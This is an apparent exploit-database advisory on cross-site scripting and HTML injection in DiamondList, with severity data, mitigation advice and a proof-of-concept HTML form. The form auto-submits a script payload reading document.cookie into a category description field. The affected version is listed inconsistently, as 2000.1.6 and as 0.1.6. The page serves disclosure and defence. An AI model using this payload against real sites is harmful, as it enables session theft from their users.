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DiamondList
by:
4.3
CVSS
MEDIUM
Cross-Site Scripting (XSS), HTML Injection
79
CWE
Product Name: DiamondList
Affected Version From: 2000.1.6
Affected Version To: 2000.1.6
Patch Exists: NO
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DiamondList Cross-Site Scripting and HTML Injection Vulnerabilities

DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Mitigation:

To mitigate these vulnerabilities, it is recommended to properly sanitize user-supplied input before using it in dynamically generated content. Input validation and output encoding should be implemented to prevent XSS and HTML-injection attacks. Developers should follow secure coding practices and use frameworks or libraries that provide built-in protection against such vulnerabilities.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/42252/info
 
DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
DiamondList 0.1.6 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/user/main/update_category/CATEGORY_ID" method="post"  name="main" >
<input type="hidden" name="category[name]" value="some cat name" />
<input type="hidden" name="category[description]" value='descr<script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Update" />

</form>
<script>
document.main.submit();
</script>